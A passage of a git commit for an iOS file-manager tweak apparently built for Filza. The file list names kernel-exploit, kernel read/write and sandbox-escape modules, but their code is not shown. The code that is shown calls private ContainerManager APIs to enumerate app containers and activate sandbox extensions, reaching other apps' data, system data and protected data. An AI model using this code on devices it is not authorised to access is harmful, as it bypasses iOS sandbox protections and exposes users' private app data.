create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector3.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector4.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector5.png create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/index.xml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/Wallpaper.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.otherMetadata.plist create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/com.apple.posterkit.provider.contents.userInfo create mode 100644 Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/supplements/0/com.apple.posterkit.provider.supplementURL.homescreenConfiguration.plist create mode 100644 Tweak.m create mode 100644 UpdateChecker.h create mode 100644 UpdateChecker.m create mode 100644 WQArchive.h create mode 100644 WQArchive.m create mode 100644 WQFilzaIntegration.h create mode 100644 WQFilzaIntegration.m create mode 100644 WQPackages.h create mode 100644 WQPackages.m create mode 100644 WQRespring.h create mode 100644 WQRespring.m create mode 100644 WQSSHServer.h create mode 100644 WQSSHServer.m create mode 100644 WQStartupUI.h create mode 100644 WQStartupUI.m create mode 100644 WQTerminal.h create mode 100644 WQTerminal.m create mode 100644 WQWebDAVServer.h create mode 100644 WQWebDAVServer.m create mode 120000 XPF/external/ChOma/include/choma create mode 100644 XPF/external/ChOma/src/Base64.c create mode 100644 XPF/external/ChOma/src/Base64.h create mode 100644 XPF/external/ChOma/src/BufferedStream.c create mode 100644 XPF/external/ChOma/src/BufferedStream.h create mode 100644 XPF/external/ChOma/src/CSBlob.c create mode 100644 XPF/external/ChOma/src/CSBlob.h create mode 100644 XPF/external/ChOma/src/CachePatching.h create mode 100644 XPF/external/ChOma/src/CodeDirectory.c create mode 100644 XPF/external/ChOma/src/CodeDirectory.h create mode 100644 XPF/external/ChOma/src/DER.c create mode 100644 XPF/external/ChOma/src/DER.h create mode 100644 XPF/external/ChOma/src/DyldSharedCache.c create mode 100644 XPF/external/ChOma/src/DyldSharedCache.h create mode 100644 XPF/external/ChOma/src/Entitlements.c create mode 100644 XPF/external/ChOma/src/Entitlements.h create mode 100644 XPF/external/ChOma/src/Fat.c create mode 100644 XPF/external/ChOma/src/Fat.h create mode 100644 XPF/external/ChOma/src/FileStream.c create mode 100644 XPF/external/ChOma/src/FileStream.h create mode 100644 XPF/external/ChOma/src/Host.c create mode 100644 XPF/external/ChOma/src/Host.h create mode 100644 XPF/external/ChOma/src/MachO.c create mode 100644 XPF/external/ChOma/src/MachO.h create mode 100644 XPF/external/ChOma/src/MachOByteOrder.h create mode 100644 XPF/external/ChOma/src/MachOLoadCommand.c create mode 100644 XPF/external/ChOma/src/MachOLoadCommand.h create mode 100644 XPF/external/ChOma/src/MemoryStream.c create mode 100644 XPF/external/ChOma/src/MemoryStream.h create mode 100644 XPF/external/ChOma/src/PatchFinder.c create mode 100644 XPF/external/ChOma/src/PatchFinder.h create mode 100644 XPF/external/ChOma/src/PatchFinder_arm64.c create mode 100644 XPF/external/ChOma/src/PatchFinder_arm64.h create mode 100644 XPF/external/ChOma/src/Util.c create mode 100644 XPF/external/ChOma/src/Util.h create mode 100644 XPF/external/ChOma/src/arm64.c create mode 100644 XPF/external/ChOma/src/arm64.h create mode 100644 XPF/external/ChOma/src/dyld_cache_format.h create mode 100644 XPF/external/ChOma/src/fixup-chains.h create mode 100644 XPF/src/bad_recovery.c create mode 100644 XPF/src/bad_recovery.h create mode 100644 XPF/src/common.c create mode 100644 XPF/src/common.h create mode 100644 XPF/src/decompress.c create mode 100644 XPF/src/decompress.h create mode 100644 XPF/src/non_ppl.c create mode 100644 XPF/src/non_ppl.h create mode 100644 XPF/src/ppl.c create mode 100644 XPF/src/ppl.h create mode 100644 XPF/src/xpf.c create mode 100644 XPF/src/xpf.h create mode 100644 apfs_own.h create mode 100644 apfs_own.m create mode 100644 base/README.md create mode 100644 compat/sys/fileport.h create mode 100644 control create mode 100644 fallback_query.h create mode 100644 fallback_query.m create mode 100644 kexploit/kexploit_opa334.h create mode 100644 kexploit/kexploit_opa334.m create mode 100644 kexploit/krw.h create mode 100644 kexploit/krw.m create mode 100644 kexploit/kutils.h create mode 100644 kexploit/kutils.m create mode 100644 kexploit/machine_info.h create mode 100644 kexploit/offsets.h create mode 100644 kexploit/offsets.m create mode 100644 kexploit/vnode.h create mode 100644 kexploit/vnode.m create mode 100644 kexploit/xpaci.h create mode 100644 kpf/patchfinder.h create mode 100644 kpf/patchfinder.m create mode 100644 pathleak.h create mode 100644 pathleak.m create mode 100644 sandbox_escape.h create mode 100644 sandbox_escape.m create mode 100755 scripts/build_developer.sh create mode 100755 scripts/build_public.sh create mode 100755 scripts/build_release.sh create mode 100755 scripts/build_release_ipa.sh create mode 100755 scripts/build_wq_ipa.sh create mode 100755 scripts/prepare_dev_terminal.sh create mode 100755 scripts/prepare_mini_terminal.sh create mode 100755 scripts/refresh_device_catalog.sh create mode 100755 tests/test create mode 100644 tests/test.c create mode 100644 tests/test.deb create mode 100644 utils/file.c create mode 100644 utils/file.h create mode 100644 utils/hexdump.c create mode 100644 utils/hexdump.h create mode 100644 utils/process.c create mode 100644 utils/process.h create mode 100644 vendor/libssh/include/CMakeLists.txt create mode 100644 vendor/libssh/include/libssh/CMakeLists.txt create mode 100644 vendor/libssh/include/libssh/agent.h create mode 100644 vendor/libssh/include/libssh/auth.h create mode 100644 vendor/libssh/include/libssh/bignum.h create mode 100644 vendor/libssh/include/libssh/bind.h create mode 100644 vendor/libssh/include/libssh/bind_config.h create mode 100644 vendor/libssh/include/libssh/blf.h create mode 100644 vendor/libssh/include/libssh/buffer.h create mode 100644 vendor/libssh/include/libssh/bytearray.h create mode 100644 vendor/libssh/include/libssh/callbacks.h create mode 100644 vendor/libssh/include/libssh/chacha.h create mode 100644 vendor/libssh/include/libssh/chacha20-poly1305-common.h create mode 100644 vendor/libssh/include/libssh/channels.h create mode 100644 vendor/libssh/include/libssh/config.h create mode 100644 vendor/libssh/include/libssh/config_parser.h create mode 100644 vendor/libssh/include/libssh/crypto.h create mode 100644 vendor/libssh/include/libssh/curve25519.h create mode 100644 vendor/libssh/include/libssh/dh-gex.h create mode 100644 vendor/libssh/include/libssh/dh.h create mode 100644 vendor/libssh/include/libssh/ecdh.h create mode 100644 vendor/libssh/include/libssh/ed25519.h create mode 100644 vendor/libssh/include/libssh/fe25519.h create mode 100644 vendor/libssh/include/libssh/ge25519.h create mode 100644 vendor/libssh/include/libssh/gssapi.h create mode 100644 vendor/libssh/include/libssh/kex.h create mode 100644 vendor/libssh/include/libssh/keys.h create mode 100644 vendor/libssh/include/libssh/knownhosts.h create mode 100644 vendor/libssh/include/libssh/legacy.h create mode 100644 vendor/libssh/include/libssh/libcrypto.h create mode 100644 vendor/libssh/include/libssh/libgcrypt.h create mode 100644 vendor/libssh/include/libssh/libmbedcrypto.h create mode 100644 vendor/libssh/include/libssh/libssh.h create mode 100644 vendor/libssh/include/libssh/libssh_version.h create mode 100644 vendor/libssh/include/libssh/libssh_version.h.cmake create mode 100644 vendor/libssh/include/libssh/libsshpp.hpp create mode 100644 vendor/libssh/include/libssh/messages.h create mode 100644 vendor/libssh/include/libssh/misc.h create mode 100644 vendor/libssh/include/libssh/options.h create mode 100644 vendor/libssh/include/libssh/packet.h create mode 100644 vendor/libssh/include/libssh/pcap.h create mode 100644 vendor/libssh/include/libssh/pki.h create mode 100644 vendor/libssh/include/libssh/pki_priv.h create mode 100644 vendor/libssh/include/libssh/poll.h create mode 100644 vendor/libssh/include/libssh/poly1305.h create mode 100644 vendor/libssh/include/libssh/priv.h create mode 100644 vendor/libssh/include/libssh/sc25519.h create mode 100644 vendor/libssh/include/libssh/scp.h create mode 100644 vendor/libssh/include/libssh/server.h create mode 100644 vendor/libssh/include/libssh/session.h create mode 100644 vendor/libssh/include/libssh/sftp.h create mode 100644 vendor/libssh/include/libssh/sftp_priv.h create mode 100644 vendor/libssh/include/libssh/socket.h create mode 100644 vendor/libssh/include/libssh/ssh2.h create mode 100644 vendor/libssh/include/libssh/string.h create mode 100644 vendor/libssh/include/libssh/threads.h create mode 100644 vendor/libssh/include/libssh/token.h create mode 100644 vendor/libssh/include/libssh/wrapper.h create mode 100755 vendor/libssh/libssh.4.dylib create mode 120000 vendor/libssh/libssh.dylib create mode 100644 worse_query.h create mode 100644 worse_query.m diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5ec7ee2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,15 @@ +.theos/ +.DS_Store +Build/ +packages/ +MCMIdentifiers.plist +*.deb +*.ipa +*.ips +*.log + +# bundled test payload +!tests/test.deb + +# release staging +build/ diff --git a/FilzaApplySandboxExt.plist b/FilzaApplySandboxExt.plist new file mode 100644 index 0000000..62d6fc2 --- /dev/null +++ b/FilzaApplySandboxExt.plist @@ -0,0 +1 @@ +{ Filter = { Bundles = ( "com.tigisoftware.Filza", "com.apple.mobile.MobileHouseArrest" ); }; } diff --git a/MCMBridge.h b/MCMBridge.h new file mode 100644 index 0000000..8d14733 --- /dev/null +++ b/MCMBridge.h @@ -0,0 +1,35 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +@interface MCMLease : NSObject +@property(nonatomic, readonly) uint64_t containerClass; +@property(nonatomic, copy, readonly) NSString *identifier; +@property(nonatomic, copy, readonly) NSString *rootPath; +@property(nonatomic, readonly) BOOL groupIdentifier; +@property(nonatomic, readonly) BOOL tokenPresent; +@property(nonatomic, readonly) BOOL activated; + ++ (nullable instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + flags:(uint64_t)flags + error:(NSString * _Nullable * _Nullable)error; ++ (nullable instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + partDomain:(nullable NSString *)partDomain + flags:(uint64_t)flags + error:(NSString * _Nullable * _Nullable)error; +- (BOOL)activate:(NSString * _Nullable * _Nullable)error; +- (void)invalidate; +@end + +FOUNDATION_EXPORT BOOL MCMBridgeAvailable(void); +FOUNDATION_EXPORT NSArray *MCMEnumerateIdentifiersForClass( + uint64_t containerClass, NSUInteger limit, + NSString * _Nullable * _Nullable error); + +NS_ASSUME_NONNULL_END diff --git a/MCMBridge.m b/MCMBridge.m new file mode 100644 index 0000000..e3ae1ed --- /dev/null +++ b/MCMBridge.m @@ -0,0 +1,254 @@ +#import "MCMBridge.h" + +#import +#import +#import + +typedef void *(*MCMQueryCreate)(void); +typedef void (*MCMQuerySetU64)(void *, uint64_t); +typedef void (*MCMQuerySetXPC)(void *, xpc_object_t); +typedef void (*MCMQuerySetCString)(void *, const char *); +typedef void *(*MCMQueryGetPointer)(void *); +typedef bool (*MCMQueryIterate)(void *, bool (^)(void *)); +typedef void (*MCMQueryFree)(void *); +typedef const char *(*MCMObjectGetPath)(void *); +typedef const char *(*MCMObjectGetIdentifier)(void *); +typedef void *(*MCMObjectCopy)(void *); +typedef char *(*MCMObjectCopyToken)(void *); +typedef bool (*MCMObjectActivate)(void *, bool); +typedef void (*MCMObjectFree)(void *); +typedef int (*MCMErrorGetInt)(void *); +typedef const char *(*MCMErrorGetString)(void *); + +typedef struct { + void *handle; + MCMQueryCreate queryCreate; + MCMQuerySetU64 querySetClass; + MCMQuerySetXPC querySetIdentifiers; + MCMQuerySetXPC querySetGroupIdentifiers; + MCMQuerySetU64 querySetFlags; + MCMQuerySetU64 querySetPart; + MCMQuerySetCString querySetPartDomain; + MCMQueryGetPointer queryGetSingle; + MCMQueryGetPointer queryGetLastError; + MCMQueryIterate queryIterate; + MCMQueryFree queryFree; + MCMObjectGetPath objectGetPath; + MCMObjectGetIdentifier objectGetIdentifier; + MCMObjectCopy objectCopy; + MCMObjectCopyToken objectCopyToken; + MCMObjectActivate objectActivate; + MCMObjectFree objectFree; + MCMErrorGetInt errorGetPOSIX; + MCMErrorGetString errorGetMessage; +} MCMAPI; + +static MCMAPI *MCMSharedAPI(void) +{ + static MCMAPI api; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + api.handle = dlopen("/usr/lib/system/libsystem_containermanager.dylib", + RTLD_NOW | RTLD_LOCAL); + void *handle = api.handle != NULL ? api.handle : RTLD_DEFAULT; +#define LOAD(field, symbol) api.field = (__typeof(api.field))dlsym(handle, symbol) + LOAD(queryCreate, "container_query_create"); + LOAD(querySetClass, "container_query_set_class"); + LOAD(querySetIdentifiers, "container_query_set_identifiers"); + LOAD(querySetGroupIdentifiers, "container_query_set_group_identifiers"); + LOAD(querySetFlags, "container_query_operation_set_flags"); + LOAD(querySetPart, "container_query_operation_set_part"); + LOAD(querySetPartDomain, "container_query_operation_set_part_domain"); + LOAD(queryGetSingle, "container_query_get_single_result"); + LOAD(queryGetLastError, "container_query_get_last_error"); + LOAD(queryIterate, "container_query_iterate_results_sync"); + LOAD(queryFree, "container_query_free"); + LOAD(objectGetPath, "container_object_get_path"); + LOAD(objectGetIdentifier, "container_object_get_identifier"); + LOAD(objectCopy, "container_object_copy"); + LOAD(objectCopyToken, "container_copy_sandbox_token"); + LOAD(objectActivate, "container_object_sandbox_extension_activate"); + LOAD(objectFree, "container_object_free"); + LOAD(errorGetPOSIX, "container_error_get_posix_errno"); + LOAD(errorGetMessage, "container_error_get_message"); +#undef LOAD + }); + return &api; +} + +NSArray *MCMEnumerateIdentifiersForClass( + uint64_t containerClass, NSUInteger limit, NSString **error) +{ + MCMAPI *api = MCMSharedAPI(); + if (!MCMBridgeAvailable() || !api->queryIterate || !api->objectGetIdentifier || limit == 0) { + if (error) *error = @"ContainerManager enumeration API unavailable"; + return @[]; + } + void *query = api->queryCreate(); + if (!query) { + if (error) *error = @"container_query_create returned NULL"; + return @[]; + } + api->querySetClass(query, containerClass); + // Metadata-only, no-create lookup. Extensions are requested individually + // only after an identifier passes validation. + api->querySetFlags(query, 0x100000000ULL); + // iOS 18 does not export the part API. A new query already defaults to + // part 0, so only set it when the newer API is present. + if (api->querySetPart) api->querySetPart(query, 0); + NSMutableOrderedSet *identifiers = [NSMutableOrderedSet orderedSet]; + BOOL iterated = api->queryIterate(query, ^bool(void *object) { + const char *raw = object ? api->objectGetIdentifier(object) : NULL; + NSString *identifier = raw ? [NSString stringWithUTF8String:raw] : nil; + if (identifier.length) [identifiers addObject:identifier]; + return identifiers.count < limit; + }); + if (!iterated && identifiers.count < limit) { + void *queryError = api->queryGetLastError(query); + int posix = queryError && api->errorGetPOSIX ? api->errorGetPOSIX(queryError) : 0; + const char *message = queryError && api->errorGetMessage + ? api->errorGetMessage(queryError) : NULL; + if (error) *error = [NSString stringWithFormat:@"enumeration denied posix=%d message=%s", + posix, message ?: "unknown"]; + } + api->queryFree(query); + return identifiers.array; +} + +BOOL MCMBridgeAvailable(void) +{ + MCMAPI *api = MCMSharedAPI(); + return api->queryCreate != NULL && api->querySetClass != NULL && + api->querySetIdentifiers != NULL && api->querySetGroupIdentifiers != NULL && + api->querySetFlags != NULL && + api->queryGetSingle != NULL && api->queryGetLastError != NULL && + api->queryFree != NULL && api->objectGetPath != NULL && + api->objectCopy != NULL && api->objectCopyToken != NULL && + api->objectActivate != NULL && api->objectFree != NULL; +} + +@interface MCMLease () { + void *_query; + void *_activation; +} +@property(nonatomic, readwrite) uint64_t containerClass; +@property(nonatomic, copy, readwrite) NSString *identifier; +@property(nonatomic, copy, readwrite) NSString *rootPath; +@property(nonatomic, readwrite) BOOL groupIdentifier; +@property(nonatomic, readwrite) BOOL tokenPresent; +@property(nonatomic, readwrite) BOOL activated; +@end + +@implementation MCMLease + ++ (instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + flags:(uint64_t)flags + error:(NSString **)error +{ + return [self leaseForClass:containerClass identifier:identifier group:group + part:part partDomain:nil flags:flags error:error]; +} + ++ (instancetype)leaseForClass:(uint64_t)containerClass + identifier:(NSString *)identifier + group:(BOOL)group + part:(uint64_t)part + partDomain:(NSString *)partDomain + flags:(uint64_t)flags + error:(NSString **)error +{ + if (!MCMBridgeAvailable() || identifier.length == 0) { + if (error) *error = @"ContainerManager bridge unavailable or identifier empty"; + return nil; + } + MCMAPI *api = MCMSharedAPI(); + void *query = api->queryCreate(); + if (query == NULL) { + if (error) *error = @"container_query_create returned NULL"; + return nil; + } + api->querySetClass(query, containerClass); + xpc_object_t value = xpc_string_create(identifier.UTF8String); + if (group) api->querySetGroupIdentifiers(query, value); + else api->querySetIdentifiers(query, value); +#if !OS_OBJECT_USE_OBJC + xpc_release(value); +#endif + api->querySetFlags(query, flags); + if (part != 0 && !api->querySetPart) { + if (error) *error = @"part API unavailable on this OS"; + api->queryFree(query); + return nil; + } + if (api->querySetPart) api->querySetPart(query, part); + if (partDomain.length != 0) { + if (!api->querySetPartDomain) { + if (error) *error = @"part-domain API unavailable"; + api->queryFree(query); + return nil; + } + api->querySetPartDomain(query, partDomain.fileSystemRepresentation); + } + void *object = api->queryGetSingle(query); + if (object == NULL) { + void *queryError = api->queryGetLastError(query); + int posix = queryError && api->errorGetPOSIX ? api->errorGetPOSIX(queryError) : 0; + const char *message = queryError && api->errorGetMessage + ? api->errorGetMessage(queryError) : NULL; + if (error) *error = [NSString stringWithFormat:@"lookup denied posix=%d message=%s", + posix, message ?: "unknown"]; + api->queryFree(query); + return nil; + } + const char *rawPath = api->objectGetPath(object); + NSString *root = rawPath ? [NSString stringWithUTF8String:rawPath] : nil; + if (root.length == 0 || !root.isAbsolutePath) { + if (error) *error = @"MCM returned no absolute container path"; + api->queryFree(query); + return nil; + } + if ([root isEqualToString:@"/var"] || [root hasPrefix:@"/var/"]) + root = [@"/private" stringByAppendingString:root]; + MCMLease *lease = [MCMLease new]; + lease->_query = query; + lease.containerClass = containerClass; + lease.identifier = identifier; + lease.groupIdentifier = group; + lease.rootPath = root; + return lease; +} + +- (BOOL)activate:(NSString **)error +{ + if (self.activated) return YES; + if (!_query) { + if (error) *error = @"lease invalidated"; + return NO; + } + MCMAPI *api = MCMSharedAPI(); + void *object = api->queryGetSingle(_query); + _activation = object ? api->objectCopy(object) : NULL; + char *token = _activation ? api->objectCopyToken(_activation) : NULL; + self.tokenPresent = token && token[0] != '\0'; + free(token); + self.activated = self.tokenPresent && api->objectActivate(_activation, false); + if (!self.activated && error) + *error = self.tokenPresent ? @"sandbox extension activation failed" + : @"MCM object contained no sandbox token"; + return self.activated; +} + +- (void)invalidate +{ + MCMAPI *api = MCMSharedAPI(); + if (_activation) { api->objectFree(_activation); _activation = NULL; } + if (_query) { api->queryFree(_query); _query = NULL; } + self.activated = NO; +} + +- (void)dealloc { [self invalidate]; } + +@end diff --git a/MCMFilzaIntegration.h b/MCMFilzaIntegration.h new file mode 100644 index 0000000..6a5c48f --- /dev/null +++ b/MCMFilzaIntegration.h @@ -0,0 +1,16 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +FOUNDATION_EXPORT void MCMFilzaStart(void); +FOUNDATION_EXPORT NSString *_Nullable MCMFilzaDataContainerPath( + NSString *identifier, NSString * _Nullable * _Nullable error); +FOUNDATION_EXPORT NSString *MCMFilzaVirtualRoot(void); +FOUNDATION_EXPORT NSString *MCMFilzaArchivePath(void); +FOUNDATION_EXPORT void MCMFilzaRecordDeletedGeneratedPath(NSString *path); +FOUNDATION_EXPORT NSString *MCMFilzaWallpaperLabName(void); +FOUNDATION_EXPORT BOOL MCMFilzaIsRunningInLiveContainer(void); +FOUNDATION_EXPORT BOOL MCMFilzaPathHasActiveLease(NSString *path); +FOUNDATION_EXPORT void MCMFilzaSetUnrestrictedFilesystem(BOOL enabled); + +NS_ASSUME_NONNULL_END diff --git a/MCMFilzaIntegration.m b/MCMFilzaIntegration.m new file mode 100644 index 0000000..388e748 --- /dev/null +++ b/MCMFilzaIntegration.m @@ -0,0 +1,1733 @@ +#import "MCMFilzaIntegration.h" + +#import "MCMBridge.h" +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +static const uint64_t kMCMFlags = 0x900000000ULL; +static const uint64_t kMCMReadWritePartFlags = 0x8100000000ULL; +static NSString *const kRequiredIdentifier = @"com.apple.mobile.MobileHouseArrest"; +static NSString *const kMCMAppDataDirectoryName = @"[MHA-C2] App Data"; +static NSString *const kMCMAppGroupsDirectoryName = @"[MHA-C7] App Groups"; +static NSString *const kMCMExtensionDataDirectoryName = @"[MHA-C4] Extension Data"; +static NSString *const kMCMVPNDataDirectoryName = @"[MHA-C6] VPN Data"; +static NSString *const kMCMServiceDataDirectoryName = @"[MHA-C10] Service Data"; +static NSString *const kMCMSystemDataDirectoryName = @"[MHA-C12] System Data"; +static NSString *const kMCMSystemGroupsDirectoryName = @"[MHA-C13] System Groups"; +static NSString *const kMCMProtectedDataDirectoryName = @"[MHA-C15] Protected Data"; +static NSString *const kMCMAdditionalLocationsDirectoryName = + @"[MHA-C13 Scoped] Additional Locations"; +static NSString *const kMCMExperimentalDirectoryName = + @"[MHA-Mixed EXP] Experimental"; +static NSString *const kMCMWallpaperLabDirectoryName = @"[MHA-C2] Wallpaper Lab"; +static NSString *const kMCMDeletedGeneratedPathsKey = + @"FilzaSlopDeletedGeneratedPaths"; +static NSMutableDictionary *gLeases; +static BOOL gUnrestrictedFilesystem; + +typedef CFTypeRef SecTaskRef; +extern SecTaskRef SecTaskCreateFromSelf(CFAllocatorRef allocator); +extern CFStringRef SecTaskCopySigningIdentifier(SecTaskRef task, CFErrorRef *error); + +static NSString *MCMSignedCodeIdentifier(void) +{ + static NSString *identifier; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + SecTaskRef task = SecTaskCreateFromSelf(kCFAllocatorDefault); + if (!task) return; + CFErrorRef error = NULL; + CFStringRef value = SecTaskCopySigningIdentifier(task, &error); + if (value) identifier = [(__bridge NSString *)value copy]; + if (value) CFRelease(value); + if (error) CFRelease(error); + CFRelease(task); + }); + return identifier; +} + +BOOL MCMFilzaIsRunningInLiveContainer(void) +{ + const char *home = getenv("LC_HOME_PATH"); + return home && home[0] == '/'; +} + +static NSString *MCMAbsoluteEnvironmentPath(const char *name) +{ + const char *value = getenv(name); + if (!value || value[0] != '/') return nil; + NSString *path = [NSString stringWithUTF8String:value]; + return path.length ? path.stringByStandardizingPath : nil; +} + +static NSString *MCMLiveContainerAppGroupPath(void) +{ + SEL selector = NSSelectorFromString(@"lcAppGroupPath"); + Class defaults = NSUserDefaults.class; + if (![defaults respondsToSelector:selector]) return nil; + id value = ((id (*)(id, SEL))objc_msgSend)(defaults, selector); + return [value isKindOfClass:NSString.class] && [value isAbsolutePath] + ? [value stringByStandardizingPath] : nil; +} + +static NSArray *MCMLiveContainerAuthorityRoots(void) +{ + if (!MCMFilzaIsRunningInLiveContainer()) return @[]; + NSMutableOrderedSet *roots = [NSMutableOrderedSet orderedSet]; + for (NSString *path in @[ + MCMAbsoluteEnvironmentPath("LC_HOME_PATH") ?: @"", + MCMAbsoluteEnvironmentPath("HOME") ?: @"", + MCMLiveContainerAppGroupPath() ?: @"", + ]) { + if (path.length) [roots addObject:path]; + } + return roots.array; +} + +void MCMFilzaSetUnrestrictedFilesystem(BOOL enabled) +{ + gUnrestrictedFilesystem = enabled; +} + +static void MCMEnsureState(void) +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ gLeases = [NSMutableDictionary dictionary]; }); +} + +@interface NSObject (MCMFilzaLaunchServices) ++ (id)defaultWorkspace; +- (NSArray *)allApplications; +- (NSString *)applicationIdentifier; +- (NSString *)bundleIdentifier; +@end + +NSString *MCMFilzaVirtualRoot(void) +{ + if (MCMFilzaIsRunningInLiveContainer()) { + NSString *home = MCMAbsoluteEnvironmentPath("HOME"); + if (home.length) + return [[home stringByAppendingPathComponent:@"Documents"] + stringByAppendingPathComponent:@"Device Storage"]; + } + NSString *documents = NSSearchPathForDirectoriesInDomains( + NSDocumentDirectory, NSUserDomainMask, YES).firstObject; + return [documents stringByAppendingPathComponent:@"Device Storage"]; +} + +NSString *MCMFilzaArchivePath(void) +{ + return [[MCMFilzaVirtualRoot() stringByDeletingLastPathComponent] + stringByAppendingPathComponent:@"FilzaSlop Archive"]; +} + +static NSString *MCMGeneratedPathKey(NSString *path) +{ + if (!path.length || !path.isAbsolutePath) return nil; + NSString *root = MCMFilzaVirtualRoot().stringByStandardizingPath; + NSString *candidate = path.stringByStandardizingPath; + NSString *prefix = [root stringByAppendingString:@"/"]; + if (![candidate hasPrefix:prefix]) return nil; + return [candidate substringFromIndex:prefix.length]; +} + +static NSSet *MCMDeletedGeneratedPaths(void) +{ + NSArray *values = [NSUserDefaults.standardUserDefaults + arrayForKey:kMCMDeletedGeneratedPathsKey]; + return [NSSet setWithArray:[values isKindOfClass:NSArray.class] ? values : @[]]; +} + +static BOOL MCMGeneratedPathWasDeleted(NSString *path) +{ + NSString *key = MCMGeneratedPathKey(path); + return key.length > 0 && [MCMDeletedGeneratedPaths() containsObject:key]; +} + +void MCMFilzaRecordDeletedGeneratedPath(NSString *path) +{ + NSString *key = MCMGeneratedPathKey(path); + if (!key.length) return; + NSUserDefaults *defaults = NSUserDefaults.standardUserDefaults; + @synchronized (defaults) { + NSMutableOrderedSet *values = [NSMutableOrderedSet + orderedSetWithArray:[defaults arrayForKey:kMCMDeletedGeneratedPathsKey] + ?: @[]]; + if ([values containsObject:key]) return; + [values addObject:key]; + [defaults setObject:values.array forKey:kMCMDeletedGeneratedPathsKey]; + [defaults synchronize]; + } + NSLog(@"[GeneratedFiles] recorded deletion %@", key); +} + +static BOOL MCMWriteGeneratedString(NSString *text, NSString *path) +{ + if (MCMGeneratedPathWasDeleted(path)) { + NSLog(@"[GeneratedFiles] kept deleted path absent %@", path); + return NO; + } + return [text writeToFile:path atomically:YES + encoding:NSUTF8StringEncoding error:nil]; +} + +static BOOL MCMWriteGeneratedPropertyList(id value, NSString *path) +{ + if (MCMGeneratedPathWasDeleted(path)) { + NSLog(@"[GeneratedFiles] kept deleted path absent %@", path); + return NO; + } + return [value writeToFile:path atomically:YES]; +} + +static void MCMRunGeneratedDeletionProbe(NSFileManager *manager, NSString *root) +{ + const char *phaseValue = getenv("FILZA_GENERATED_DELETE_PROBE"); + if (!phaseValue || !phaseValue[0]) return; + NSString *phase = [NSString stringWithUTF8String:phaseValue]; + if (![phase isEqualToString:@"record"] && + ![phase isEqualToString:@"verify"]) return; + + NSString *path = [root + stringByAppendingPathComponent:@".filzaslop-generated-delete-probe.txt"]; + BOOL setup = YES; + if ([phase isEqualToString:@"record"]) { + [manager removeItemAtPath:path error:nil]; + setup = [@"probe" writeToFile:path atomically:YES 